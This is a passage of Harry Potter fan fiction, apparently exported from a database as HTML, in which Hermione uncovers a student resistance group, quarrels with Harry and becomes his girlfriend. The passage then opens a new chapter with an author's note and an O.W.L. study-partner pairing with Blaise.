boy to walk this earth! You really think I could understand what was going through your head when the only thing going through mine is wondering if you were safe. How am I supposed to act like myself with unsettling letters and dark magic lurking about? Harry you are so important to me that I wasn&#8217;t even questioning anything. I actually didn&#8217;t care for answers. All I knew was that I wanted to see you safe and by my side.&quot;</p>\n\n<p>	&quot;You want to be my girlfriend.&quot; Harry finally spoke.</p>\n\n<p>	&quot;Harry have you listened to a word I have said.&quot; And then something clicked and I finally let go his appearance. <i>You&#8217;re still my Harry</i>.</p>\n\n<p>	&quot;You want to be my girlfriend?&quot; He said again. Yet this time, it sounded like pure awe at the statement. His eyes stared straight in to mine. I saw an emotion he had never shown me before. He was insecurity about himself.</p>\n\n<p>	&quot;Of course I would want to be your girlfriend. Do you think I would snog any random guy? Harry I care so much about you, that it&#8217;s scary. Don&#8217;t you want me to be your girlfriend?&quot;</p>\n\n<p>	&quot;I do. You think I don&#8217;t want to be able to hold your hand in public, to be able to keep other guys at a very far distance. But I don&#8217;t want to be selfish. You deserve better. You deserve safety.&quot;</p>\n\n<p>	&quot;You are safe.&quot; I placed my hand over his.</p>\n\n<p>	&quot;Look at me Hermione and seriously say that.&quot; I directed my eyes intently in to his. I saw all his past pain, his present suffering, and his future doubt. This boy grew up, not knowing what security meant. He lived each day as it was. Safety for him meant someone always dependable. He thought he couldn&#8217;t provide that for me. May be he really couldn&#8217;t but I was not about to let him go just because he wasn&#8217;t safe.</p>\n\n<p>	&quot;I look at you and see someone who cares for me. I know you&#8217;ll never intentionally hurt me. I know you understand me. I know your safe because in your heart I will never change.&quot;</p>\n\n<p>	He moved my hand to his lips. &quot;I don&#8217;t deserve you.&quot; </p>\n\n<p>	&quot;You deserve anything this world can offer you.&quot; </p>\n\n<b><p>&nbsp;</p>\n\n</b><p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>	&quot;So before we go in, I hope you will try and understand everything until we can talk about it afterwards.&quot; Harry stood firmly still in his older version.</p>\n\n<p>	&quot;That bad.&quot; I grinned.</p>\n\n<p>	&quot;As friends, yes. As my girlfriend, extremely.&quot;</p>\n\n<p>	&quot;Well you&#8217;re lucky we&#8217;re going in as friend.&quot; His body relaxed. &quot;But as your girlfriend, I&#8217;ll deal with you later.&quot; Then we entered into one of the Headmaster&#8217;s rooms in Hogwarts, and I was completely unaware of what was about to happen. Once inside, I saw most of the Weasleys spread out within the room in various conversations. The only three I did not see were Mrs. Weasley, Ron and Percy. <i>I wonder why not? </i></p><i>\n\n</i><p>On the left side in long leather black couch sat the twins, with Angelina, Roger, Lee, and Alicia. Across from them was Ginny who sat patiently with Neville and Susan. Next to them was a round wooden table were Bill, Sirius, Remus, Arthur, and Professor Figgs who sat intensely discussing something. In front of the fireplace stood Terry, Cho, and Sally Ann. I awkwardly followed Harry and sat near what seem to be Professor Dumbledore&#8217;s desk. Suddenly the door behind the dark wooden desk opened to reveal Professor Dumbledore, Snape, McGonagall, and Ron.</p>\n\n<p>&quot;Good afternoon everyone.&quot; Professor Dumdlebore greeted with his usual cheerful expression. &quot;Ms. Granger I am glad to see you feeling better.&quot;</p>\n\n<p>&quot;Thank you for the concern sir.&quot; I smiled meekly. <i>What is going on?</i></p><i>\n\n</i><p>&quot;Well how about we start then, then answer your questions. Unless you would like to ask questions first?&quot; He sat behind the desk, in a large red chair.</p>\n\n<p>&quot;I think I will listen first.&quot;</p>\n\n<p>&quot;Excellent! Harry you may begin.&quot; He gestured towards Harry. Harry then gave me a quick apologetic look that no one else seemed to notice. I gave a brief smile. <i>I&#8217;ll try not to burst Harry</i>.</p>\n\n<p>&quot;Neville did you hear or see anything out of the ordinary at St.Mungos?&quot; <i>Why would Neville be at St. Mungos?</i></p><i>\n\n</i><p>&quot;No Harry, I just heard the usual rambling and screams. But I did see Mr. Crabbe there the day after the attack.&quot; </p>\n\n<p>&quot;Did you see why?&quot;</p>\n\n<p>&quot;I tried to follow him but I ran into Blaise.&quot; </p>\n\n<p>&quot;Okay. Ann have you heard anything?&quot; I noticed Sally Ann glance away from George.</p>\n\n<p>&quot;No, Uncle Fudge was pretty tense this week and kept owling Mr. Baddock. But they work together so it was the usual Ministry paperwork.&quot; <i>I didn&#8217;t know she was related to him.</i></p><i>\n\n</i><p>&quot;Good work, just keep us posted about his activities. Roger what did you found out in Spain?&quot; <i>I thought he was going to visit his Aunt.</i></p><i>\n\n</i><p>&quot;Well the Security guard killed was actually the Lupes personal guard for years. He supposedly was the best in Spain. Many of the muggles are rioting because they feel the officials are hiding things about the attacks.&quot;</p>\n\n<p>&quot;They can not hide anything when most of the muggles were casted a memory charm of that night.&quot; Mr. Weasley huffed from the Ministry&#8217;s ignorance about muggles.</p>\n\n<p>&quot;Also Mr. Gustoven returned to his country cottage in Germany.&quot;</p>\n\n<p>&quot;When did he leave Mr. Davis?&quot; Professor Snape interrupted looking extremely vexed.</p>\n\n<p>&quot;Two days after the incident. He looked terribly distraught when he was having tea with my Aunt.&quot;</p>\n\n<p>&quot;Ah&#8230;Fred, George have you found anything unusual in Hogwarts?&quot; Harry continued with the meeting. <i>So that&#8217;s why no one catches them wondering around the school.</i></p><i>\n\n</i><p>&quot;Nothing dangerous or out lavish.&quot;</p>\n\n<p>&quot;But we did find an empty bed in an abandon room in the South Tower.&quot;</p>\n\n<p>&quot;All right, keep lurking about. But from now on, please lessen the pranks.&quot;</p>\n\n<p>&quot;We didn&#8217;t do anything.&quot; Fred received a punch from Angelina.</p>\n\n<p>&quot;We swear!&quot; George tried hiding a very obvious smirk.</p>\n\n<p>&quot;Sure you two. Hermione anymore clues on the other parts of the translation or poem?&quot; <i>Oh he&#8217;s</i>\n\n<i>talking to me now. Stop talking to yourself Granger and speak.</i></p><i>\n\n</i><p>&quot;I&#8230;translated the other proportion and realized it was a list of ingredients. I believe it has to do with the potion mentioned in the poem.&quot;</p>\n\n<p>&quot;Do you have the list with you Ms. Granger?&quot; Professor Snape asked quickly. I shook my head. &quot;Bring the list later on this evening to my classroom.&quot;</p>\n\n<p>&quot;Ron do you see any patterns with the attacks in Spain?&quot;</p>\n\n<p>&quot;Not a thing Harry. But we need to know why Mr. Gustoven left his home so quickly when his wife has been kidnapped. Also how the muggles are handling with the kidnappings.&quot; <i>Why would Harry ask Ron about patterns?</i></p><i>\n\n</i><p>&quot;Does anyone have anything else they would like to mention?&quot; Harry stared to the whole group. I had the urge to open my mouth, but Ron sent me a quiet plea to stay silent. &quot;Okay. The operation in Spain had a missing link. We were able to only catch the original number said attacking Barcelona. Either they knew of our counter attack or our information is unreliable?&quot;</p>\n\n<p>&quot;Our source is not the problem. They could not have known of our offense. There is the possibility that they sent more reinforcements because the city is highly guarded by muggles and wizards.&quot; Professor Snape coolly responded.</p>\n\n<p>&quot;How do you know the source isn&#8217;t lying? How much can we trust them, if they&#8217;re only going through you?&quot; Sirius angrily spat out.</p>\n\n<p>&quot;Black, I believe my source has saved you plenty of times.&quot;</p>\n\n<p>&quot;I agree with Severus. It was a big operation to be only carried out by six people. They probably assumed that more help would grantee success.&quot; Bill interrupted in hopes of calming Sirius down. Sighing in defeat from his companions next to him, Sirius relied on only glaring at Professor Snape. Harry and Ron then walked over to where Cho was diligently taking notes of the whole affair. My jaw tightened at the proximity that Harry was next to Cho. <i>Don&#8217;t be jealous! Don&#8217;t be jealous!</i>\n\n<i>Why are you thinking about that? You&#8217;re in a meeting trying to save the world</i>.</p>\n\n<p>&quot;Neville was there anything weird about Crabbe?&quot; Ron asked after a few minutes of thinking. <i>It&#8217;s very fascinating to see him use his brain so quickly for something other then chess or quidditch. I knew there was hope for him. </i></p><i>\n\n</i><p>&quot;I think he was limping.&quot; Neville wrinkled his face, in trying to remember. Ginny patted his hand trying to soothe his rigid posture.</p>\n\n<p>&quot;He could have been in Spain then. I bit one of Death Eaters before I was pushed aside.&quot; Sirius recalled instantly.</p>\n\n<p>&quot;Did you see why Blaise was there?&quot; Harry asked. <i>Oh, they better not assume she is working with dark magic.</i></p><i>\n\n</i><p>&quot;Blaise isn&#8217;t a problem.&quot; I interrupted Neville&#8217;s response.</p>\n\n<p>&quot;How do you know?&quot; Ron asked while all eyes turned towards me.</p>\n\n<p>&quot;Her father is one of the head directors at St. Mungos. Also the empty bed is her&#8217;s.&quot;</p>\n\n<p>&quot;How do you know all this?&quot; Harry stood up from his bent position.</p>\n\n<p>&quot;You aren&#8217;t the only one with secrets.&quot; Then all the anger that had been pent up from this unraveling had emerged. &quot;Besides me knowing that fact seems simple to what everyone else here has been keeping.&quot; Most of the students flinched at my icy tone.</p>\n\n<p>&quot;Mione, just calm down.&quot; I ignored Ron.</p>\n\n<p>&quot;Actually I don&#8217;t need to know anymore. I have an idea what is going on. You are all part of some resistance set against the Dark Lord. This has been happening since the start of school I&#8217;m assuming. Or maybe even the summer, by the way Ginny is flushing. Also each one of you probably has a specific area you are training in or specially positioned as.&quot; I started pacing the room.</p>\n\n<p>&quot;How did you know?&quot; Terry asked. <i>Well I am a top student with reason!</i></p><i>\n\n</i><p>&quot;Simple deduction. Ginny suddenly training a year earlier with medicine when she still has plenty of time in the next two years. Neville is always working on extra projects with Professor Sprout, the Twins being able to crawl about without any restrictions of where they go. Roger always setting my schedule away from Terry, Cho, and Neville.&quot;</p>\n\n<p>&quot;I knew you were smart.&quot; Remus added to my knowledge of the situation.</p>\n\n<p>&quot;So what is my part in this? I am assuming I have one already to be apart of this meeting.&quot;</p>\n\n<p>&quot;You are the unofficial researcher.&quot; Ginny quietly spoke out loud.</p>\n\n<p>&quot;Harry when were you going to make it official? Unless you thought I couldn&#8217;t handle it.&quot; I saw Harry&#8217;s jaw muscles tighten.</p>\n\n<p>&quot;Hermione I have my reasons.&quot; He replied in a commanding manner.</p>\n\n<p>&quot;You always have reasons for everything. And Ron, when were you planning on telling me? When things got to rough, or when I find you hurt like last time?&quot; I bellowed towards him.</p>\n\n<p>&quot;Mione I couldn&#8217;t tell you. This is too big of a secret.&quot; His voice carried a very worn out tone.</p>\n\n<p>&quot;Even for me Ron?&quot; I stopped pacing to stare at his face.</p>\n\n<p>&quot;Hermione, I thought you said you could handle this. We didn&#8217;t want to hurt you.&quot; Harry moved closer towards me.</p>\n\n<p>&quot;To late for that Harry.&quot; I coldly answered.</p>\n\n<p>&quot;You said you would try and understand.&quot; He replied in a sullen voice.</p>\n\n<p>&quot;I lied. But you know how to do that better then me.&quot; I hollered directly at him.</p>\n\n<p>&quot;Maybe we should&#8230;&quot; Roger tried to interrupt. </p>\n\n<p>&quot;What is that suppose to mean?&quot; Harry harshly spoke.</p>\n\n<p>&quot;You know exactly what I mean. Has everything been a lie Harry? Do you really mean what you say?&quot; I clenched my hand in a fist by my side.</p>\n\n<p>&quot;I never lied to you. I just kept the truth.&quot; He ran his hand through his hair.</p>\n\n<p>&quot;Which bothers the hell out of me as well!&quot; I screamed.</p>\n\n<p>&quot;I only did it with this!&quot; Harry regained his voice with a forcefully persistence.</p>\n\n<p>&quot;How about we&#8230;&quot; Mr. Weasley called out.</p>\n\n<p>&quot;You do it with everything! You never just say what is important for me to know.&quot; I jabbed my finger to his chest. <i>When was he so close to me?</i></p><i>\n\n</i><p>&quot;I don&#8217;t see you barking at Ron or Roger?&quot; Harry equally yelled in anger.</p>\n\n<p>&quot;They didn&#8217;t make false promises!&quot; I shouted back hurt from his tone.</p>\n\n<p>&quot;Are you doubting me?&quot; His voice powerfully carried throughout the room.</p>\n\n<p>&quot;No I&#8217;m doubting us.&quot; I whispered out dejected at him. All noise ceased after my statement and wondering minds tumbled quickly. The Weasleys seemed unsurprised but still shock by my blunt comment. Many of the adults looked worried at both our exhausted expressions. And everyone else was just in pure awe by our outburst in public. But somewhere deep down, everyone knew what was really exchanged in our argument.</p>\n\n<p>&quot;I think we should continue this another day.&quot; The headmaster cleared his throat.</p>\n\n<p>&quot;Harry, why don&#8217;t you explain everything to Hermione.&quot; Professor McGonagall directed towards Harry. I blinked away my tears and turned from Harry.</p>\n\n<p>&quot;No, I think I should leave now. Go ahead and finish your meeting.&quot;</p>\n\n<p>&quot;You are apart of this as well.&quot; Harry replied. &quot;We need to talk.&quot; He gently held my hand.</p>\n\n<p>&quot;I&#8217;m tired of talking. That&#8217;s all we every do Harry.&quot; I ripped my hand away and swiftly walked out the door. Leaving the room, my shoulder&#8217;s slumped feeling a weight of doubting pain.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&quot;Well that is certainly unexpected. To think that a dozen or more people in this school is fighting against that overgrown snake.&quot; Blaise muttered out.</p>\n\n<p>&quot;Deep down I knew it was something to do with him. But I thought they would tell me like they always do.&quot; I leaned against a stonewall between two tall bookcases.</p>\n\n<p>&quot;Maybe you shouldn&#8217;t have told me this. I mean I have nothing to do with it.&quot; Blaise readjusted her kneeling position to sit down besides me.</p>\n\n<p>&quot;B I tell you everything. Besides they know about your room. They twins found it during break.&quot;</p>\n\n<p>&quot;I hoped no one would find it. I knew I should have placed a vanishing charm.&quot; Her usual smirk down casted into an annoyed expression.</p>\n\n<p>&quot;I&#8217;ll try and find you another room. I&#8217;m sure there are plenty left in this school.&quot; I patted her shoulder.</p>\n\n<p>&quot;Thanks, What are you going to do now? No matter how angry you are, you still know you&#8217;ll go back to them. You always do.&quot; She looked towards my sulky position.</p>\n\n<p>&quot;Can&#8217;t a girl be mad at times.&quot; I twirled with a strand of my bushy hair. </p>\n\n<p>&quot;Yes but this is serious. No time for silly unless disputes.&quot;</p>\n\n<p>&quot;When has it ever been not serious?&quot; I sighed feeling extremely exhausted.</p>\n\n<p>&quot;Oh, the joys of being Harry Potter&#8217;s friend.&quot; She said sarcastically. &quot;Wait I mean girlfriend.&quot;</p>\n\n<p>&quot;Go shove yourself in a broom closet.&quot; I clenched my teeth together.</p>\n\n<p>&quot;No I&#8217;ll leave that for you. I&#8217;m sure you can handle it better.&quot; Her voice carried a distant memory but she quickly pushed it aside. &quot;Anyway how are you two doing?&quot;</p>\n\n<p>&quot;Haven&#8217;t talk to him since yesterday. He&#8217;s been in the infirmary.&quot; I bowed my head.</p>\n\n<p>&quot;Is he normal yet?&quot; <i>When has be been normal?</i></p><i>\n\n</i><p>&quot;Not until tomorrow. Besides I need some time to think about this other part of them.&quot;</p>\n\n<p>&quot;Understandable. Have you talked to Roger yet?&quot; She started to twirl with her quill.</p>\n\n<p>&quot;No and don&#8217;t look at me like that.&quot; I fidgeted with my hands.</p>\n\n<p>&quot;Are you planning too?&quot; She raised her eyebrows questioning me.</p>\n\n<p>&quot;I will. I just need to find him first.&quot; I gulped anxiously.</p>\n\n<p>&quot;Don&#8217;t need to.&quot; She calmly spoke.</p>\n\n<p>&quot;Why?&quot;</p>\n\n<p>&quot;Because he just walked in.&quot; I looked to see the library door closed with Roger standing in front of it. &quot;Well I have to go. I will see you in potions tomorrow.&quot; Blaise gather her belongs ready to leave.</p>\n\n<p>&quot;Not going to give me a pep talk.&quot; I asked in a saucy manner.</p>\n\n<p>&quot;Talk to him or I&#8217;ll tell everyone that you once thought Professor Snape could be attractive.&quot; Then with pure determination she walked away with every ounce of doing so, if I didn&#8217;t carry out my mission. <i>Ah</i>, <i>the joys of tough love</i>.</p>\n\n<p>&quot;Hello Roger,&quot; I nervously said behind him.</p>\n\n<p>&quot;Hello Hermione. I have been trying to find you all day.&quot; His normal smile seemed less cheerful then usual.</p>\n\n<p>&quot;Well you found me. Is there something you needed?&quot; I started biting on my lower lip.</p>\n\n<p>&quot;Do you have time to talk?&quot; He glanced towards me.</p>\n\n<p>&quot;Yes,&quot; then I followed him to an empty table in the back corner of the room. &quot;So what did you want to talk about?&quot; I blurted out rapidly.</p>\n\n<p>&quot;I&#8217;m sorry about yesterday and never telling you before.&quot; He quietly answered while holding my hands.</p>\n\n<p>&quot;Its all right Roger. I know you probably were sworn to secrecy. Besides you don&#8217;t need to explain anything to me.&quot; I gently moved my hands away.</p>\n\n<p>&quot;I thought I did.&quot; He leaned back in to his chair, with a very disappointed expression.</p>\n\n<p>&quot;I thought so too in the beginning but&#8230;&quot;</p>\n\n<p>&quot;No I understand.&quot; He interrupted. &quot;It was pretty obvious yesterday.&quot; </p>\n\n<p>&quot;I&#8217;m sorry Roger.&quot; I glanced away from his sad features.</p>\n\n<p>&quot;No need. You gave me a fair chance. I just lost.&quot; His voice slowly became softer. &quot;But I&#8217;m glad I lost to Harry. If it was anyone else, I don&#8217;t think my pride could have handle it.&quot;</p>\n\n<p>&quot;Harry is like any other person.&quot; I eagerly responded.</p>\n\n<p>&quot;Only to you. To the whole world, he is the boy-who-lived.&quot; His head tiled to the side.</p>\n\n<p>&quot;We are all heroes in our own right.&quot; I tried to comfort him.</p>\n\n<p>&quot;True, but people like Harry take the weight of it all.&quot; He then stood up to leave. &quot;Is it okay if we still hang out and talk?&quot; Roger asked nervously.</p>\n\n<p>&quot;I would be happy too.&quot; I placed a small kiss on his cheek. </p>\n\n<p>He turned to walk away. &quot;Hermione if it&#8217;s any help for his cause, don&#8217;t be mad at Harry. I mean he was only trying to protect the person he loves.&quot; He started to leave the table.</p>\n\n<p>&quot;You think he loves me?&quot; He paused with his back facing me.</p>\n\n<p>&quot;Anyone would be crazy not to love you.&quot; Then I let the perfect guy walk away from my life. He had it all, the looks, the talent, and even a great future with whomever he wanted to share it with; but he never had my heart.</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>The next morning, I woke to hear a gentle tapping on my window. Opening the curtains, I saw Hedwig patiently waiting for my acknowledgment. Quietly I let her in from the cold, and took the message from her freezing claws.</p>\n\n<b><p>Nene,</p>\n\n<p>Please meet me before breakfast in the Astronomy Tower. I&#8217;ll be waiting.</p>\n\n<p>Harry</p>\n\n</b><p>	I arrived in the Tower to see Harry staring out the large glass window. He had returned to his normal age with his Gryffindor uniform on. His black robe was set aside laid next to his school bag. Setting my own bag down, I readjusted my uniform and tidy my appearance. Clearing my throat, Harry was startled by my sudden presence.</p>\n\n<p>	&quot;You came,&quot; his lips spread into a goofy pleased grin. <i>Oh it was so good to see his own face again.</i></p><i>\n\n</i><p>	&quot;Was there a doubt?&quot; I noticed his eyes flash with uneasiness.</p>\n\n<p>	&quot;Yes, especially after Saturday. I am sorry Nene. I should have told you. I don&#8217;t like lying to you. I couldn&#8217;t stand hiding things from you either.&quot; He leaned against the wall in defeat.</p>\n\n<p>	&quot;Then why did you?&quot; I inched closer towards him.</p>\n\n<p>	&quot;I wanted to keep you safe.&quot; He paused to reach out for my hand. &quot;If I can not be reliable. If I can not be dependable, I want to know I could keep you safe.&quot;</p>\n\n<p>	&quot;Harry telling me the truth can be safe.&quot; I raised my hand to caress his smooth skin. <i>This feels nice.</i></p><i>\n\n</i><p>	&quot;If I told you, you would have joined imminently. You would have gone through all those painstaking hours of training, and the irritation of waiting to fight against them. And the horror of knowing that your life was only to keep the evil away.&quot; His voice carried a surreal realization of what his life was meant to do.</p>\n\n<p>	&quot;I wouldn&#8217;t care as long as I was by your side.&quot; I stared up in to his passive green eyes.</p>\n\n<p>	&quot;But don&#8217;t you see, this isn&#8217;t your destiny. You have a whole world ahead of you. You could do anything you want. I don&#8217;t want to hold you to my fate.&quot; He turned away from the intensity of our emotions. <i>Harry I couldn&#8217;t live any other way without you in it.</i></p><i>\n\n</i><p>I placed my head on his chest and sighed reluctantly. &quot;Harry it was my fate to meet you. And my destiny to decide what I want to do with it.&quot; I titled my head towards him. &quot;I rather die of uncertainty, then die from not knowing the truth.&quot;</p>\n\n<p>	Harry&#8217;s hand moved to lift my chin. &quot;Why me?&quot; His voice was blearily a whisper.</p>\n\n<p>	&quot;Because there only is you,&quot; and our lips met to seal the fate that was preset before we even knew of each other&#8217;s existence.</p>\n\n<p>	&quot;Come on sugar lips, I am starving!&quot; Harry gather our things, and dragged me towards the Great Hall. Being overly flushed, I let him guide me without protest. I tried to remain calm, but I couldn&#8217;t help but show an ecstatic smile of his true affections for me.</p>\n\n<p>	We entered into the Great Hall hand in hand. Before I could let go he held on tighter with a sly smirk across his face. All attention fell on us, or our hands to be more precise. Finally we reached Ron, who had saved us a seat at the Gryffindor table. Yet unlike our usual sitting arrangements, he placed our settings a distance away from the main group of students.</p>\n\n<p>	Ron had his Gryffindor uniform as well, but his tie was loose and extremely crooked. His straight-combed hair was brushed to the side and he had a wide grin on his face. &quot;It&#8217;s been a long time since it&#8217;s just been us.&quot; He poured pumpkin juice for the both of us.</p>\n\n<p>	&quot;To long,&quot; Harry smile in a goofy manner. Through all this, all I did was listen to the commotion around us. After our arrival and settling opposite of Ron, whispers ran through the room. I saw some girls glare while others were in shock. Most of the boys were surprised as well, but smiled like it was going to happen anyway. <i>Yet I still wonder what they were saying?</i></p><i>\n\n</i><p>	&quot;So got a quick snog before breakfast?&quot; Ron asked while grabbing more eggs. I started choking with my pumpkin juice and Harry gentle tapped my back.</p>\n\n<p>	Slowly I regained my voice. &quot;Ronald Weasley I believe that was very inappropriate.&quot; I said in my best Professor McGonagall impression.</p>\n\n<p>	&quot;But not far from the truth.&quot; Harry added with a smug smile and wink. They started laughing while I blushed from head to toe.</p>\n\n<p>	&quot;Well I think it is time for the official Weasley talk.&quot; Ron stood while Harry and I was very confused. &quot;Mione do you really like Harry?&quot; He directed his eyes towards me.</p>\n\n<p>	I blushed even more and glanced towards Harry. &quot;Yes.&quot; I spoke in a tender tone.</p>\n\n<p>	&quot;Well if you ever hurt him, I will be force never to speak to you again.&quot; He spoke with an uncharacteristically serious manner. Ron then turned to look at Harry. &quot;Do you really like Mione?&quot;</p>\n\n<p>	Harry gulped but stood as well to face Ron. They stared deeply into each other&#8217;s eyes when Harry said, &quot;like doesn&#8217;t describe it.&quot; Harry&#8217;s face was very calm and serious at his statement. But in my head, I was screaming like crazy. <i>He likes me! He likes me!</i></p><i>\n\n</i><p>	&quot;Harry if you ever break her heart, I will severally hurt you. And you know I am capable of it now.&quot; Ron was equally as serious at his comment.</p>\n\n<p>	&quot;If I ever do, I will let you beat me.&quot; Then Ron broke into a proud smile and the normal twinkling mischief in his eyes.</p>\n\n<p>	&quot;Good to know. Well since that&#8217;s over, lets eat!&quot; He sat down like nothing had just happened. <i>I can&#8217;t believe we just got that from Ron.</i></p><i>\n\n</i><p> 	Unaware I felt Harry&#8217;s breath on my ear. &quot;Ron and the other Weasleys recently just gave that speech to Angelina. When do you think we will get it from the others?&quot;</p>\n\n<p>&quot;Probably when it&#8217;s official about us, in the whole school.&quot; I murmured back nibbling on my toast. Quickly something sparked in his eyes and he stood with a wicked smile.</p>\n\n<p>&quot;Sonorus!&quot; He pointed his wand to his throat. &quot;May I have everyone&#8217;s attention.&quot; He stood on top of the bench so everyone could see him.</p>\n\n<p>&quot;Harry what are you doing?&quot; I tugged on his white button-up shirt.</p>\n\n<p>&quot;You&#8217;ll see.&quot; He gazed forward. &quot;For all you wondering why I was holding Hermione&#8217;s hand, I will tell you.&quot; Everyone soon fell silent from curiosity and even the Professors leaned in for an answer. &quot;She&#8217;s my girlfriend. We are officially dating. So if anyone has a problem with that, then you&#8217;ll just have to deal with me about it.&quot; All eyes darted towards me and I blushed with incredible speed. I didn&#8217;t know if I should have felt humiliated or extremely happy at that moment. I chose the ladder and felt flustered with an enamor smile shining on my face. <i>He&#8217;s my boyfriend</i>.</p>\n\n<p>&nbsp;</p>\n\n<p>	</p> '),
	(239, 16, '\n\n\n\n<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">\n\n<meta name="Generator" content="Microsoft Word 97">\n\n<title>Disclaimer: Never will be mine</title>\n\n\n\n<font size="2"><p>Disclaimer: Never will be mine.</p>\n\n<p>Well here it is folks! Did you miss me? Thank you to everyone for the reviews. Also a Big thank you to Malu, who checked my terrible grammar. Anyway it&#8217;s not too action packed but it&#8217;s slowly leading up to it. Oh, also I grantee to all the major fans of H/HR fluff that you will want to read Chapter 16. I&#8217;m editing it now, and I get chills every time I go over it. If you liked my other mush, I think you will appreciate this one. Well I hope you enjoy this one and thanks for sticking with my story!</p>\n\n</font><b><font size="3"><p>The Middle of Understanding</p>\n\n</font></b><p><font size="3">Chapter 15</font></p><font size="3">\n\n<b><u><p>Potions, Potions, and More Potions</p>\n\n<p></p>\n\n</u></b><p>	&quot;No, let my son go! Just take me instead! Please!&quot; </p>\n\n<p>	&quot;Shouting will only make your injury worst.&quot;</p>\n\n<p>	&quot;Well you can fix it again.&quot;</p>\n\n<p>	&quot;I&#8217;m good but not powerful.&quot;</p>\n\n<p>	&quot;Why us?&quot;</p>\n\n<p>	&quot;I have no idea. But remember one thing.&quot;</p>\n\n<p>	&quot;What?&quot;</p>\n\n<p>	&quot;If they point anything at you, I want you to dodge it as best as possible.&quot;</p>\n\n<p>	&quot;What are you going to do?&quot;</p>\n\n<p>	&quot;Fight and die, if I have too.&quot;</p>\n\n<p>	&quot;You could cooperate with them Adelaide. They said they would spare you if you do.&quot;</p>\n\n<p>	&quot;Their minds could create things worst than death.&quot;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>	&quot;Wake up Hermione.&quot; I heard a whisper in my ear. &quot;Get up M, or I will use drastic measures.&quot; I lazily opened my eyes.</p>\n\n<p>	&quot;Blaise what are you doing in my room?&quot; I groggily asked. <i>I was just dreaming about Harry</i>.</p>\n\n<p>	&quot;I heard something strange in my Common Room.&quot; Her face muscles tightened from stress.</p>\n\n<p>	&quot;B, don&#8217;t tell me you&#8217;re still scared of the sandman.&quot; I mutter roughly.</p>\n\n<p>	&quot;I am serious.&quot; She grabbed my hand. &quot;I heard someone speaking with hissing noises as well.&quot; <i>Oh no, not a good sign.</i></p><i>\n\n</i><p>	&quot;Did you hear who was speaking?&quot; I checked to see if my roommates were still sleeping.</p>\n\n<p>	&quot;No, I just heard murmurs. Hermione have you found another room yet? These past weeks have been hell.&quot; Her pale skin glowed in the night.</p>\n\n<p>	&quot;No, but soon. It&#8217;s only 3 in the morning now. Hop in, my roommates wake up later than me anyway. You can just sneak out before anyone wakes up.&quot; I quietly moved aside, leaving her space to lay down.</p>\n\n<p>	&quot;Thanks.&quot; Blaise snuggled into my large warm blanket.</p>\n\n<p>	I woke 3 hours later to a motionless Blaise beside me. Her posture still carried an air of carelessness, but her face relaxed into an innocent smile. Throughout our years of friendship, I had never seen her look so tranquil. <i>I hope someday Blaise, you can look like this when you are awake</i>. Feeling my movements, she opened her wide almond eyes.</p>\n\n<p>	&quot;Is it time to go?&quot; Her tone was soft and gentle. I kissed her forehead; aware that she was still half-asleep.</p>\n\n<p>	&quot;You still have awhile to sleep. I&#8217;m just going to get ready.&quot; She yawned then nodded off to wonderland. After my morning routine, I reluctantly woke her to reality. &quot;Come on, before anyone finds you here. Merlin knows what McGonagall will say if she catches us doing this.&quot; </p>\n\n<p>	We reached the portrait to see Harry blocking our exit. He was sweating from his morning run while his over sized T-shirt was soaking. His hair was messy, face flushed, glasses dirty, and I had the urge to kiss him. With an enamor smile, Harry pulled my body towards him.</p>\n\n<p>	&quot;Its always a good morning when I see you.&quot; He charmingly stated. Luckily he did not notice Blaise, when walking in to the room. With her agile instincts, she had ducked behind him. Suddenly when he wanted to look down, I grabbed his face to distract him.</p>\n\n<p>	&quot;To much talking,&quot; I leaned closer touching his lips. With my eyes still open, I saw Blaise pretend to hang herself at our action. I glared and motion her to leave. She made one last gesture movement before leaving the Gryffindor Tower.</p>\n\n<p>	&quot;Well I must say, that was extremely different.&quot; Harry smirked. <i>I know exactly what you mean. Dear Merlin, never let that happen again.</i></p><i>\n\n</i><p>	After a quick snog, winning an argument with Ron, and deducting of points from Slytherin, the three us reached the Great Hall. We greeted our classmates and settled surround by the anxious Friday atmosphere. Most students were cheerful, hoping for the weekend to arrive sooner. I continued to eat my crepes while Harry and Ron were discussing Quidditch. <i>Mental note to myself: must</i>\n\n<i>teach them a different sport this summer</i>. Glancing across the room, I saw Blaise repeatingly nod to whatever Millicent was saying. Her eyes were </p>\n\n<p>dulled in boredom and her lips sealed together from making a sarcastic remark.</p>\n\n<p>	&quot;Attention,&quot; Professor McGonagall said to the crowd. &quot;All 5<sup>th</sup> years will miss their first period today.&quot; A happy cheer followed her announcement. &quot;Settle down, you will all stay in the Great Hall after breakfast.&quot; <i>I wonder what this is about? I hope it&#8217;s nothing too serious.</i></p><i>\n\n</i><p>	&quot;To prepare you for your O.W.L&#8217;s at the end of the year, we have arranged a pairing system to help you study.&quot; Professor Figgs started with her speech. As she continued, I watched as each house was separated in to different sections. Harry gently squeezed my hand as he walked off into another direction.</p>\n\n<p>	&quot;You and your partner will work together until the end of the year. He or she may be from any house but does have the share classes as you. Now hold out your hand and you will receive a number. This number is exactly the same as the one of your partner&#8217;s.&quot; Professor McGonagall finished her lecture, with the number 16 appearing in my hand. I scanned the room searching for my partner, when I noticed Blaise focus intently on me. Her tired expression turned into a saucy smirk and she casually strutted over towards me. <i>Only she could look so cocky with a few hours of sleep</i>.</p>\n\n<p>	&quot;You still seem to be glowing. Have fun making out with Potter?&quot; She showed her number.</p>\n\n<p>	&quot;Yes, I did.&quot; I grinned seeing the number 16. We continued to whisper as Professor Snape began instructions of how each pair should study and so forth. &quot;So Blaise what is your favorite food?&quot; I mockingly asked while trying to hide a smile.</p>\n\n<p>	&quot;Stop with the pleasantries. Merlin knows I already know too much about you.&quot; She rolled her eyes upward.</p>\n\n<p>	&quot;Oh Blaise, you know you are as happy as I am to be paired together.&quot; I smiled genuinely. She only responded with a cheeky grin and quick wink.</p>\n\n<p>	&quot;Mione, who&#8217;s your partner?&quot; Ron hollered behind us. &quot;I have Lavendar.&quot; We turned around to see his shocked expression at Blaise&#8217;s appearance.</p>\n\n<p>	&quot;Ron, Hermione, you will never guess who&#8230;&quot; Harry approached us with same expression as Ron. Their eyes narrowed at Blaise while she equally glared back. Sirens went off in my head. <i>Red 